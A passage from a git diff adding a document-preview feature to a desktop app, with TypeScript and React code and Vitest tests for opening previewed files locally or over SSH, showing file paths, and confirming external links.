+  connectionIdForWorkspace: null as string | null | undefined,
+  worktreePath: '/srv/repo' as string | null,
+  /** What the worktree resolves its runtime owner to, which the grant was minted against. */
+  worktreeRuntimeOwnerId: null as string | null,
+  activeRuntimeEnvironmentId: undefined as string | undefined,
+  openFile: vi.fn(),
+  openFilePath: vi.fn().mockResolvedValue(true),
+  downloadAndOpen: vi.fn(),
+  toastError: vi.fn()
+}))
+
+vi.mock('sonner', () => ({ toast: { error: mocks.toastError } }))
+vi.mock('@/i18n/i18n', () => ({
+  translate: (_key: string, fallback: string, params?: Record<string, string>) =>
+    fallback.replace('{{value0}}', params?.value0 ?? '')
+}))
+
+vi.mock('@/lib/connection-owner-resolution', () => ({
+  getConnectionIdForFileFromState: () => mocks.connectionIdForFile
+}))
+vi.mock('@/lib/worktree-runtime-owner', () => ({
+  getRuntimeEnvironmentIdForWorktree: () => mocks.worktreeRuntimeOwnerId
+}))
+vi.mock('@/lib/connection-context', () => ({
+  getConnectionId: () => mocks.connectionIdForWorkspace,
+  getConnectionIdForFile: () => mocks.connectionIdForFile
+}))
+vi.mock('@/components/terminal-pane/terminal-remote-file-download-open', () => ({
+  downloadAndOpenRemoteTerminalFile: mocks.downloadAndOpen
+}))
+vi.mock('@/store', () => ({
+  useAppStore: {
+    getState: () => ({
+      settings: {
+        activeRuntimeEnvironmentId: mocks.activeRuntimeEnvironmentId
+      },
+      getKnownWorktreeById: () =>
+        mocks.worktreePath === null ? undefined : { id: 'wt-1', path: mocks.worktreePath },
+      openFile: mocks.openFile
+    })
+  }
+}))
+
+import { openDocPreviewExternally, openDocPreviewSource } from './doc-preview-document-actions'
+
+const REMOTE_DOCUMENT = {
+  filePath: '/root/demo/report/index.html',
+  relativePath: 'report/index.html',
+  worktreeId: 'wt-1',
+  runtimeEnvironmentId: null,
+  externalSshTargetId: null
+}
+
+beforeEach(() => {
+  vi.clearAllMocks()
+  mocks.connectionIdForFile = null
+  mocks.connectionIdForWorkspace = null
+  mocks.worktreePath = '/srv/repo'
+  mocks.worktreeRuntimeOwnerId = null
+  mocks.activeRuntimeEnvironmentId = undefined
+  mocks.openFilePath.mockResolvedValue(true)
+  vi.stubGlobal('window', { api: { shell: { openFilePath: mocks.openFilePath } } })
+})
+
+describe('openDocPreviewSource', () => {
+  it('opens the document as an ordinary source tab with the editor language', () => {
+    openDocPreviewSource(REMOTE_DOCUMENT)
+
+    expect(mocks.openFile).toHaveBeenCalledWith(
+      expect.objectContaining({
+        filePath: REMOTE_DOCUMENT.filePath,
+        relativePath: REMOTE_DOCUMENT.relativePath,
+        worktreeId: 'wt-1',
+        language: 'html',
+        mode: 'edit'
+      })
+    )
+  })
+
+  // Why this field and not the rest: an absolute SSH path outside the worktree is indistinguishable
+  // from a client-local external file, so dropping it makes the reopened tab read the wrong host.
+  it('carries the external SSH target onto the source tab', () => {
+    openDocPreviewSource({ ...REMOTE_DOCUMENT, externalSshTargetId: 'ssh-7' })
+
+    expect(mocks.openFile).toHaveBeenCalledWith(
+      expect.objectContaining({ externalSshTargetId: 'ssh-7' })
+    )
+  })
+
+  it('omits the field entirely when the document has no external target', () => {
+    openDocPreviewSource(REMOTE_DOCUMENT)
+
+    expect(mocks.openFile.mock.calls[0]?.[0]).not.toHaveProperty('externalSshTargetId')
+  })
+})
+
+describe('openDocPreviewExternally', () => {
+  it('hands a local document straight to the OS', () => {
+    openDocPreviewExternally(REMOTE_DOCUMENT)
+
+    expect(mocks.openFilePath).toHaveBeenCalledWith(REMOTE_DOCUMENT.filePath)
+    expect(mocks.downloadAndOpen).not.toHaveBeenCalled()
+  })
+
+  it('downloads an SSH document before handing it over', () => {
+    mocks.connectionIdForFile = 'ssh-1'
+    mocks.connectionIdForWorkspace = 'ssh-1'
+
+    openDocPreviewExternally(REMOTE_DOCUMENT)
+
+    expect(mocks.openFilePath).not.toHaveBeenCalled()
+    expect(mocks.downloadAndOpen).toHaveBeenCalledWith(
+      expect.objectContaining({ connectionId: 'ssh-1' }),
+      REMOTE_DOCUMENT.filePath
+    )
+  })
+
+  // Why this case exists at all: a folder workspace can span repos on different hosts, so asking
+  // who owns the *workspace* answers nothing while the file itself has a definite owner. Routing on
+  // the workspace answer would hand the OS a remote absolute path — a silent no-op, or worse, an
+  // unrelated local file that happens to share the path.
+  it('routes on the file owner when the workspace-scoped owner is unresolved', () => {
+    mocks.connectionIdForFile = 'ssh-1'
+    mocks.connectionIdForWorkspace = undefined
+
+    openDocPreviewExternally(REMOTE_DOCUMENT)
+
+    expect(mocks.openFilePath).not.toHaveBeenCalled()
+    expect(mocks.downloadAndOpen).toHaveBeenCalledWith(
+      expect.objectContaining({ connectionId: 'ssh-1' }),
+      REMOTE_DOCUMENT.filePath
+    )
+  })
+
+  // Why refusing beats downloading here: with no owner at all the download route reads the absolute
+  // path on this machine, so a client holding a same-named file would be shown its contents under
+  // the remote document's name — the wrong-file outcome, one layer below the OS branch.
+  it('refuses instead of reading this machine when no owner resolves', () => {
+    mocks.connectionIdForFile = undefined
+    mocks.connectionIdForWorkspace = undefined
+
+    openDocPreviewExternally(REMOTE_DOCUMENT)
+
+    expect(mocks.openFilePath).not.toHaveBeenCalled()
+    expect(mocks.downloadAndOpen).not.toHaveBeenCalled()
+    expect(mocks.toastError).toHaveBeenCalledWith(expect.stringContaining('report/index.html'))
+  })
+
+  // Why this one varies only the root: every other case that loses the root also names another
+  // host, so without it nothing proves the root is required for the OS branch on its own.
+  it('refuses a document whose workspace root is unknown even when nothing names another host', () => {
+    mocks.worktreePath = null
+
+    openDocPreviewExternally(REMOTE_DOCUMENT)
+
+    expect(mocks.openFilePath).not.toHaveBeenCalled()
+    expect(mocks.downloadAndOpen).not.toHaveBeenCalled()
+    expect(mocks.toastError).toHaveBeenCalled()
+  })
+
+  // Why keep the tab's field as a fallback: the worktree stops resolving an owner once its runtime
+  // is torn down, and the tab that is still open is then the only record of who owned the document.
+  it('falls back to the tab runtime owner when the worktree resolves none', () => {
+    mocks.worktreeRuntimeOwnerId = null
+    mocks.activeRuntimeEnvironmentId = 'env-9'
+
+    openDocPreviewExternally({ ...REMOTE_DOCUMENT, runtimeEnvironmentId: 'env-9' })
+
+    expect(mocks.openFilePath).not.toHaveBeenCalled()
+    expect(mocks.toastError).not.toHaveBeenCalled()
+    expect(mocks.downloadAndOpen).toHaveBeenCalled()
+  })
+
+  // Why the tab's own field is not enough: a preview tab opened or restored before its worktree's
+  // runtime owner was known carries null there, while the grant it renders through was minted
+  // against the owner the worktree resolves to — routing on the stale field sends a remote
+  // document to the OS.
+  it('routes on the worktree runtime owner when the tab carries none', () => {
+    mocks.worktreeRuntimeOwnerId = 'env-1'
+    mocks.activeRuntimeEnvironmentId = 'env-1'
+
+    openDocPreviewExternally({ ...REMOTE_DOCUMENT, runtimeEnvironmentId: null })
+
+    expect(mocks.openFilePath).not.toHaveBeenCalled()
+    expect(mocks.downloadAndOpen).toHaveBeenCalled()
+  })
+
+  // Why the root matters: remote-runtime detection is relative to the workspace root, so an unknown
+  // root makes every path look outside the runtime — which reads as local.
+  it('downloads a runtime document whose workspace root is unknown', () => {
+    mocks.worktreePath = null
+    mocks.worktreeRuntimeOwnerId = 'env-1'
+    mocks.activeRuntimeEnvironmentId = 'env-1'
+
+    openDocPreviewExternally({ ...REMOTE_DOCUMENT, runtimeEnvironmentId: 'env-1' })
+
+    expect(mocks.openFilePath).not.toHaveBeenCalled()
+    expect(mocks.downloadAndOpen).toHaveBeenCalled()
+  })
+})
diff --git a/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-document-actions.ts b/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-document-actions.ts
new file mode 100644
index 00000000000..49833c47d3d
--- /dev/null
+++ b/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-document-actions.ts
@@ -0,0 +1,97 @@
+import { toast } from 'sonner'
+import { translate } from '@/i18n/i18n'
+import { getConnectionIdForFileFromState } from '@/lib/connection-owner-resolution'
+import { getRuntimeEnvironmentIdForWorktree } from '@/lib/worktree-runtime-owner'
+import { detectLanguage } from '@/lib/language-detect'
+import {
+  buildWorkspaceFileContextForFile,
+  canClientOsOpenWorkspaceFile
+} from '@/lib/workspace-file-host-routing'
+import { useAppStore } from '@/store'
+import { downloadAndOpenRemoteTerminalFile } from '@/components/terminal-pane/terminal-remote-file-download-open'
+
+export type DocPreviewDocument = {
+  filePath: string
+  relativePath: string
+  worktreeId: string
+  runtimeEnvironmentId: string | null
+  /**
+   * Only the source tab reads this today, because no path that opens a preview sets it. If one ever
+   * does, `openDocPreviewExternally` needs it as `expectedExternalSshTargetId` on the file context —
+   * without it the read is not checked against the target the tab claims.
+   */
+  externalSshTargetId: string | null
+}
+
+/**
+ * Open the previewed document as an ordinary source tab. A second tab, not a mode switch: the
+ * preview keeps its own id, so the reader can leave the rendered page where it was.
+ */
+export function openDocPreviewSource(document: DocPreviewDocument): void {
+  useAppStore.getState().openFile({
+    filePath: document.filePath,
+    relativePath: document.relativePath,
+    worktreeId: document.worktreeId,
+    // Why not the preview tab's language: it is pinned to 'html' for the preview itself, and the
+    // source tab needs the editor's own detection to pick a highlighter.
+    language: detectLanguage(document.filePath),
+    runtimeEnvironmentId: document.runtimeEnvironmentId,
+    ...(document.externalSshTargetId ? { externalSshTargetId: document.externalSshTargetId } : {}),
+    mode: 'edit'
+  })
+}
+
+/**
+ * Hand the document to the reader's own machine. A preview is almost always remote, and the OS
+ * cannot launch a path it has no copy of — so a remote document is downloaded first, exactly as
+ * the terminal's "Download & open with default app" does.
+ */
+export function openDocPreviewExternally(document: DocPreviewDocument): void {
+  const state = useAppStore.getState()
+  const worktreeRoot = state.getKnownWorktreeById(document.worktreeId)?.path ?? null
+  // Why the per-file resolver: this is the same document the grant authorized, and that grant was
+  // minted against the file's own owner. A folder workspace spanning hosts answers `undefined`
+  // workspace-wide, which downstream reads as local — the OS would then be handed a remote
+  // absolute path and either do nothing or open an unrelated file of the same name.
+  const connectionId = getConnectionIdForFileFromState(
+    state,
+    document.worktreeId,
+    document.filePath
+  )
+  // Why re-resolve the runtime owner rather than trust the tab's field: the grant this preview
+  // renders through was minted against the worktree's owner at render time, and a tab opened or
+  // restored before that owner was known still carries null — which reads as local.
+  const runtimeEnvironmentId =
+    getRuntimeEnvironmentIdForWorktree(state, document.worktreeId) ?? document.runtimeEnvironmentId
+  const fileContext = buildWorkspaceFileContextForFile(
+    document.worktreeId,
+    worktreeRoot ?? '',
+    document.filePath,
+    runtimeEnvironmentId
+  )
+  // Why these conditions rather than the shared predicate alone: it reads an unresolved owner, an
+  // unknown workspace root, and a runtime-owned path that sits outside that root as "local", and a
+  // preview really reaches all three. Only a document proven to live on this machine goes to the
+  // OS; a resolved remote owner downloads first, and no owner at all is refused below.
+  const ownedByThisMachine =
+    connectionId === null && runtimeEnvironmentId === null && worktreeRoot !== null
+  if (ownedByThisMachine && canClientOsOpenWorkspaceFile(fileContext, document.filePath)) {
+    void window.api.shell.openFilePath(document.filePath)
+    return
+  }
+  // Why refuse instead of downloading: with neither owner resolved the download route reads the
+  // absolute path on THIS machine, so a client that happens to hold a file of the same name would
+  // get its contents back under the remote document's name. Reachable once an owner un-resolves
+  // under a tab that already exists — the repo evicted, the SSH target removed.
+  if (connectionId == null && runtimeEnvironmentId === null) {
+    toast.error(
+      translate(
+        'auto.components.editor.HtmlDocPreview.openExternallyUnknownHostError',
+        "Can't open '{{value0}}': the host that owns it is no longer known.",
+        { value0: document.relativePath }
+      )
+    )
+    return
+  }
+  void downloadAndOpenRemoteTerminalFile(fileContext, document.filePath)
+}
diff --git a/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-document-chip.tsx b/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-document-chip.tsx
new file mode 100644
index 00000000000..8fafb551725
--- /dev/null
+++ b/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-document-chip.tsx
@@ -0,0 +1,75 @@
+import { Check, FileCode2 } from 'lucide-react'
+import { Badge } from '@/components/ui/badge'
+import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip'
+import { useClipboardTextCopyFeedback } from '@/hooks/use-clipboard-text-copy-feedback'
+import { translate } from '@/i18n/i18n'
+import type { DocPreviewDocumentIdentity } from './doc-preview-document-identity'
+
+/**
+ * The preview's stand-in for an address bar. The guest's real origin is an internal scheme the
+ * reader has no use for, so this names the document the way the workspace does — and says whose
+ * machine it was read from, which is the part a paired or SSH reader cannot otherwise tell.
+ */
+export function DocPreviewDocumentChip({
+  identity
+}: {
+  identity: DocPreviewDocumentIdentity
+}): React.JSX.Element {
+  const { copyText, status } = useClipboardTextCopyFeedback(identity.absolutePath)
+  const copied = status === 'copied'
+  const copyLabel = translate(
+    'auto.components.editor.HtmlDocPreview.copyDocumentPathControl',
+    'Copy file path'
+  )
+  // Why the label swaps: the icon change is the only other feedback, and an icon says nothing to
+  // a screen reader — the same trade TerminalLinkActionPopover makes.
+  const copiedLabel = translate(
+    'auto.components.editor.HtmlDocPreview.documentPathCopied',
+    'Copied'
+  )
+
+  return (
+    <Tooltip>
+      <TooltipTrigger asChild>
+        <button
+          type="button"
+          onClick={() => void copyText()}
+          aria-label={copied ? copiedLabel : copyLabel}
+          className="@container flex min-w-0 flex-1 items-center gap-2 overflow-hidden rounded-xl border border-border bg-background px-3 py-1 text-left shadow-sm hover:bg-accent/40 focus-visible:ring-[3px] focus-visible:ring-ring/50 focus-visible:outline-none"
+        >
+          {copied ? (
+            <Check className="size-4 shrink-0 text-muted-foreground" />
+          ) : (
+            <FileCode2 className="size-4 shrink-0 text-muted-foreground" />
+          )}
+          {/* dir/ dimmed, filename normal — the same emphasis the file tree gives a path */}
+          <span className="min-w-0 flex-1 truncate text-sm">
+            <span className="text-muted-foreground">{identity.directoryPrefix}</span>
+            <span className="text-foreground">{identity.fileName}</span>
+          </span>
+          {/* Below 24rem of chip width this row hides whole rather than clipping into slivers —
+              384px is what icon + label + a capped badge + a readable path stub need, so visible
+              implies contained. The tooltip keeps the full identity either way. */}
+          <span className="hidden shrink-0 items-center gap-1.5 text-xs text-muted-foreground @[24rem]:flex">
+            <span className="shrink-0">
+              {translate(
+                'auto.components.editor.HtmlDocPreview.workspaceFileChipLabel',
+                'Workspace file'
+              )}
+            </span>
+            {identity.hostLabel ? (
+              <Badge variant="secondary" className="min-w-0 max-w-40 shrink font-normal">
+                {/* Why the inner span: text directly inside the flex pill clips both ends with no
+                    ellipsis — text-overflow needs a non-flex text box. */}
+                <span className="min-w-0 truncate">{identity.hostLabel}</span>
+              </Badge>
+            ) : null}
+          </span>
+        </button>
+      </TooltipTrigger>
+      <TooltipContent side="bottom" sideOffset={4}>
+        {copied ? copiedLabel : `${copyLabel} · ${identity.absolutePath}`}
+      </TooltipContent>
+    </Tooltip>
+  )
+}
diff --git a/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-document-identity.test.ts b/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-document-identity.test.ts
new file mode 100644
index 00000000000..cc5e365c1ca
--- /dev/null
+++ b/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-document-identity.test.ts
@@ -0,0 +1,67 @@
+import { describe, expect, it } from 'vitest'
+import { buildDocPreviewDocumentIdentity } from './doc-preview-document-identity'
+
+describe('buildDocPreviewDocumentIdentity', () => {
+  it('splits a workspace-relative path into a dimmable directory and a filename', () => {
+    expect(
+      buildDocPreviewDocumentIdentity({
+        filePath: '/repo/docs/reports/index.html',
+        worktreeRoot: '/repo',
+        hostLabel: 'Studio Mac mini'
+      })
+    ).toEqual({
+      absolutePath: '/repo/docs/reports/index.html',
+      directoryPrefix: 'docs/reports/',
+      fileName: 'index.html',
+      hostLabel: 'Studio Mac mini'
+    })
+  })
+
+  it('leaves the directory empty for a document at the workspace root', () => {
+    const identity = buildDocPreviewDocumentIdentity({
+      filePath: '/repo/index.html',
+      worktreeRoot: '/repo',
+      hostLabel: null
+    })
+
+    expect(identity.directoryPrefix).toBe('')
+    expect(identity.fileName).toBe('index.html')
+  })
+
+  // Why: an SSH preview of a file outside the workspace has no relative form, and a bare filename
+  // would strip the only context the reader has for where it came from.
+  it('falls back to the absolute path when the file sits outside the workspace', () => {
+    const identity = buildDocPreviewDocumentIdentity({
+      filePath: '/elsewhere/notes/report.html',
+      worktreeRoot: '/repo',
+      hostLabel: 'build-box'
+    })
+
+    expect(identity.directoryPrefix).toBe('/elsewhere/notes/')
+    expect(identity.fileName).toBe('report.html')
+  })
+
+  // Why: the path is copied and read as the owning machine spells it, so a Windows host's
+  // backslashes must survive rather than being normalised into a path that host would not accept.
+  it('keeps the owning machine separator on Windows paths', () => {
+    const identity = buildDocPreviewDocumentIdentity({
+      filePath: 'C:\\repo\\docs\\index.html',
+      worktreeRoot: 'C:\\repo',
+      hostLabel: 'Windows box'
+    })
+
+    expect(identity.fileName).toBe('index.html')
+    expect(identity.directoryPrefix.endsWith('/')).toBe(true)
+    expect(identity.absolutePath).toBe('C:\\repo\\docs\\index.html')
+  })
+
+  it('carries an unknown owner through as null so the chip can drop the host pill', () => {
+    expect(
+      buildDocPreviewDocumentIdentity({
+        filePath: '/repo/a.html',
+        worktreeRoot: null,
+        hostLabel: null
+      }).hostLabel
+    ).toBeNull()
+  })
+})
diff --git a/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-document-identity.ts b/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-document-identity.ts
new file mode 100644
index 00000000000..1e9d9e983b2
--- /dev/null
+++ b/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-document-identity.ts
@@ -0,0 +1,38 @@
+import { basename, getRelativePathInsideRoot } from '@/lib/path'
+
+export type DocPreviewDocumentIdentity = {
+  /** What clicking the chip copies — always the path as the owning machine spells it. */
+  absolutePath: string
+  /** Workspace-relative directory with a trailing separator; empty at the workspace root. */
+  directoryPrefix: string
+  fileName: string
+  /** Null while ownership is unknown, so the chip can drop the pill instead of inventing a host. */
+  hostLabel: string | null
+}
+
+/**
+ * What the preview toolbar shows instead of a URL. The reader never sees the internal preview
+ * origin, so the document has to identify itself: where it sits in the workspace, and whose disk
+ * that is.
+ */
+export function buildDocPreviewDocumentIdentity({
+  filePath,
+  worktreeRoot,
+  hostLabel
+}: {
+  filePath: string
+  worktreeRoot: string | null
+  hostLabel: string | null
+}): DocPreviewDocumentIdentity {
+  // Why fall back to the absolute path: an SSH preview of a file outside the workspace has no
+  // workspace-relative form, and a bare filename would strip the only context the reader has.
+  const displayPath = getRelativePathInsideRoot(filePath, worktreeRoot) ?? filePath
+  const fileName = basename(displayPath)
+  return {
+    absolutePath: filePath,
+    // Sliced rather than rebuilt from dirname so the owner's own separator survives on Windows.
+    directoryPrefix: displayPath.slice(0, displayPath.length - fileName.length),
+    fileName,
+    hostLabel
+  }
+}
diff --git a/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-external-link-confirmation.test.ts b/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-external-link-confirmation.test.ts
new file mode 100644
index 00000000000..9ea527417fa
--- /dev/null
+++ b/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-external-link-confirmation.test.ts
@@ -0,0 +1,86 @@
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+import type { ConfirmationDialogContextValue } from '@/components/confirmation-dialog-context'
+
+const mocks = vi.hoisted(() => ({
+  toastError: vi.fn(),
+  openBrowserProfileTabInActiveWorkspace: vi.fn()
+}))
+
+vi.mock('sonner', () => ({ toast: { error: mocks.toastError } }))
+vi.mock('@/store', () => ({
+  useAppStore: {
+    getState: () => ({
+      openBrowserProfileTabInActiveWorkspace: mocks.openBrowserProfileTabInActiveWorkspace
+    })
+  }
+}))
+
+import { subscribeDocPreviewExternalLinkConfirmation } from './doc-preview-external-link-confirmation'
+
+function installSubscription(confirm: ConfirmationDialogContextValue): (url: string) => void {
+  let listener: ((payload: { url: string }) => void) | null = null
+  vi.stubGlobal('window', {
+    api: {
+      docPreview: {
+        onExternalLink: (callback: (payload: { url: string }) => void): (() => void) => {
+          listener = callback
+          return () => {}
+        }
+      }
+    }
+  })
+  subscribeDocPreviewExternalLinkConfirmation(confirm)
+  if (!listener) {
+    throw new Error('external-link confirmation did not subscribe')
+  }
+  return (url) => listener?.({ url })
+}
+
+beforeEach(() => {
+  vi.clearAllMocks()
+  mocks.openBrowserProfileTabInActiveWorkspace.mockResolvedValue(true)
+})
+
+describe('document preview external-link confirmation', () => {
+  it('shows the exact destination and opens only after confirmation', async () => {
+    const confirm = vi.fn<ConfirmationDialogContextValue>().mockResolvedValue(true)
+    const emit = installSubscription(confirm)
+
+    emit('https://example.com/docs?source=preview')
+
+    await vi.waitFor(() => expect(confirm).toHaveBeenCalledOnce())
+    expect(confirm).toHaveBeenCalledWith(
+      expect.objectContaining({
+        title: 'Open link to example.com?',
+        description: 'https://example.com/docs?source=preview'
+      })
+    )
+    await vi.waitFor(() =>
+      expect(mocks.openBrowserProfileTabInActiveWorkspace).toHaveBeenCalledWith(
+        'https://example.com/docs?source=preview',
+        null
+      )
+    )
+  })
+
+  it('opens nothing when the reader cancels', async () => {
+    const confirm = vi.fn<ConfirmationDialogContextValue>().mockResolvedValue(false)
+    const emit = installSubscription(confirm)
+
+    emit('https://example.com/docs')
+
+    await vi.waitFor(() => expect(confirm).toHaveBeenCalledOnce())
+    expect(mocks.openBrowserProfileTabInActiveWorkspace).not.toHaveBeenCalled()
+  })
+
+  it('surfaces a confirmed link that the browser refuses', async () => {
+    mocks.openBrowserProfileTabInActiveWorkspace.mockResolvedValue(false)
+    const emit = installSubscription(
+      vi.fn<ConfirmationDialogContextValue>().mockResolvedValue(true)
+    )
+
+    emit('https://example.com/docs')
+
+    await vi.waitFor(() => expect(mocks.toastError).toHaveBeenCalledOnce())
+  })
+})
diff --git a/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-external-link-confirmation.tsx b/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-external-link-confirmation.tsx
new file mode 100644
index 00000000000..f8e2f185589
--- /dev/null
+++ b/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-external-link-confirmation.tsx
@@ -0,0 +1,75 @@
+import { useEffect } from 'react'
+import { toast } from 'sonner'
+import {
+  useConfirmationDialog,
+  type ConfirmationDialogContextValue
+} from '@/components/confirmation-dialog-context'
+import { translate } from '@/i18n/i18n'
+import { useAppStore } from '@/store'
+
+function displayHost(url: string): string {
+  try {
+    return new URL(url).host
+  } catch {
+    return url
+  }
+}
+
+async function openConfirmedExternalLink(url: string): Promise<void> {
+  try {
+    const opened = await useAppStore.getState().openBrowserProfileTabInActiveWorkspace(url, null)
+    if (opened) {
+      return
+    }
+  } catch {
+    // The same reader-facing result covers refusal and rejection.
+  }
+  toast.error(
+    translate(
+      'auto.hooks.ipc.events.browserStateIpcBridge.docPreviewLinkFailed',
+      'Could not open this link in Orca Browser.'
+    )
+  )
+}
+
+export function subscribeDocPreviewExternalLinkConfirmation(
+  confirm: ConfirmationDialogContextValue
+): () => void {
+  if (typeof window.api.docPreview?.onExternalLink !== 'function') {
+    return () => {}
+  }
+  let active = true
+  const unsubscribe = window.api.docPreview.onExternalLink(({ url }) => {
+    void confirm({
+      title: translate(
+        'auto.components.browserPane.workspaceDoc.externalLinkTitle',
+        'Open link to {{host}}?',
+        { host: displayHost(url) }
+      ),
+      description: url,
+      descriptionClassName: 'break-all font-mono text-xs',
+      confirmLabel: translate(
+        'auto.components.browserPane.workspaceDoc.externalLinkConfirm',
+        'Open link'
+      ),
+      cancelLabel: translate(
+        'auto.components.browserPane.workspaceDoc.externalLinkCancel',
+        'Cancel'
+      )
+    }).then((confirmed) => {
+      if (active && confirmed) {
+        void openConfirmedExternalLink(url)
+      }
+    })
+  })
+  return () => {
+    active = false
+    unsubscribe()
+  }
+}
+
+export function DocPreviewExternalLinkConfirmation(): null {
+  const confirm = useConfirmationDialog()
+  useEffect(() => subscribeDocPreviewExternalLinkConfirmation(confirm), [confirm])
+  return null
+}
diff --git a/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-failure-messages.ts b/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-failure-messages.ts
new file mode 100644
index 00000000000..f654c4648bd
--- /dev/null
+++ b/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-failure-messages.ts
@@ -0,0 +1,70 @@
+import type {
+  DocPreviewFileFailure,
+  DocPreviewFileFailureReason
+} from '../../../../../shared/doc-preview-scheme'
+import { translate } from '@/i18n/i18n'
+
+export function docPreviewFailureDetail(reason: DocPreviewFileFailureReason | null): string {
+  if (reason === 'too-large') {
+    return translate(
+      'auto.components.editor.HtmlDocPreview.documentTooLargePanel',
+      'This document is too large to preview. Open it in the editor instead.'
+    )
+  }
+  // Why no 'unsupported-asset' sentence here: the entry document is served as text by every owner
+  // — only a subresource can be refused for its format, and that failure is a notice, not a panel.
+  return translate(
+    'auto.components.editor.HtmlDocPreview.documentUnreadablePanel',
+    'Orca could not read this file from the workspace.'
+  )
+}
+
+/**
+ * Why a notice and not the failure panel: only the entry document's failure leaves the reader with
+ * nothing to look at. A stylesheet, image or font the workspace would not send is a document that
+ * rendered — degraded, and the reader deserves to know which piece is missing, but rendered.
+ */
+export function docPreviewAssetNotice(failures: DocPreviewFileFailure[]): string | null {
+  const [first] = failures
+  if (!first) {
+    return null
+  }
+  if (failures.length > 1) {
+    return translate(
+      'auto.components.editor.HtmlDocPreview.multipleAssetsFailedNotice',
+      '{{count}} files in this document could not be loaded.',
+      { count: failures.length }
+    )
+  }
+  if (first.reason === 'too-large') {
+    return translate(
+      'auto.components.editor.HtmlDocPreview.assetTooLargeNotice',
+      '{{path}} is too large to load in this preview.',
+      { path: first.relativePath }
+    )
+  }
+  if (first.reason === 'unsupported-asset') {
+    return translate(
+      'auto.components.editor.HtmlDocPreview.assetUnsupportedNotice',
+      'This workspace cannot send {{path}} to a preview.',
+      { path: first.relativePath }
+    )
+  }
+  return translate(
+    'auto.components.editor.HtmlDocPreview.assetUnreadableNotice',
+    'Orca could not read {{path}} from the workspace.',
+    { path: first.relativePath }
+  )
+}
+
+/**
+ * Why the sentence names no file and does not count attempts: the document chooses both, and this
+ * row is Orca's chrome. Constant text is also what makes repeated attempts unspammable — the
+ * hundredth refusal renders exactly what the first one did.
+ */
+export function docPreviewDownloadBlockedNotice(): string {
+  return translate(
+    'auto.components.editor.HtmlDocPreview.downloadBlockedNotice',
+    'Downloads are disabled in document previews.'
+  )
+}
diff --git a/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-overflow-menu.tsx b/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-overflow-menu.tsx
new file mode 100644
index 00000000000..801d153b28b
--- /dev/null
+++ b/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-overflow-menu.tsx
@@ -0,0 +1,76 @@
+import { Copy, FileCode2, MoreHorizontal, RefreshCw, RotateCcw } from 'lucide-react'
+import { Button } from '@/components/ui/button'
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuSeparator,
+  DropdownMenuTrigger
+} from '@/components/ui/dropdown-menu'
+import { translate } from '@/i18n/i18n'
+
+/**
+ * The preview's overflow menu. It carries the document actions rather than the browsing pane's
+ * profile and viewport rows: a preview has no session to switch and no device to emulate.
+ */
+export function DocPreviewOverflowMenu({
+  onReload,
+  onHardReload,
+  onOpenSource,
+  onCopyPath,
+  onCopyRelativePath
+}: {
+  onReload: () => void
+  onHardReload: () => void
+  onOpenSource: () => void
+  onCopyPath: () => void
+  /** Why it lives here: the preview hides the editor's path header, which was the only way to copy it. */
+  onCopyRelativePath: () => void
+}): React.JSX.Element {
+  return (
+    <DropdownMenu>
+      <DropdownMenuTrigger asChild>
+        <Button
+          size="icon"
+          variant="ghost"
+          className="h-7 w-7"
+          aria-label={translate(
+            'auto.components.editor.HtmlDocPreview.previewMenuControl',
+            'Preview options'
+          )}
+        >
+          <MoreHorizontal className="size-4" />
+        </Button>
+      </DropdownMenuTrigger>
+      <DropdownMenuContent align="end">
+        <DropdownMenuItem onSelect={onReload}>
+          <RefreshCw className="size-3.5" />
+          {translate('auto.components.browser.pane.BrowserPane.0e080d820e', 'Reload')}
+        </DropdownMenuItem>
+        <DropdownMenuItem onSelect={onHardReload}>
+          <RotateCcw className="size-3.5" />
+          {translate('auto.components.browser.pane.BrowserPane.a1f3c2e4b5', 'Hard Reload')}
+        </DropdownMenuItem>
+        <DropdownMenuSeparator />
+        <DropdownMenuItem onSelect={onOpenSource}>
+          <FileCode2 className="size-3.5" />
+          {translate('auto.components.editor.HtmlDocPreview.openSourceControl', 'Open source file')}
+        </DropdownMenuItem>
+        <DropdownMenuItem onSelect={onCopyPath}>
+          <Copy className="size-3.5" />
+          {translate(
+            'auto.components.editor.HtmlDocPreview.copyDocumentPathControl',
+            'Copy file path'
+          )}
+        </DropdownMenuItem>
+        <DropdownMenuItem onSelect={onCopyRelativePath}>
+          <Copy className="size-3.5" />
+          {translate(
+            'auto.components.editor.HtmlDocPreview.copyDocumentRelativePathControl',
+            'Copy relative path'
+          )}
+        </DropdownMenuItem>
+      </DropdownMenuContent>
+    </DropdownMenu>
+  )
+}
diff --git a/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-toolbar.tsx b/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-toolbar.tsx
new file mode 100644
index 00000000000..7fc75dc20e0
--- /dev/null
+++ b/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-toolbar.tsx
@@ -0,0 +1,118 @@
+import { useState } from 'react'
+import {
+  BrowserChromeToolbar,
+  type BrowserChromeElementTools
+} from '@/components/browser-pane/assemble-chrome/browser-chrome-toolbar'
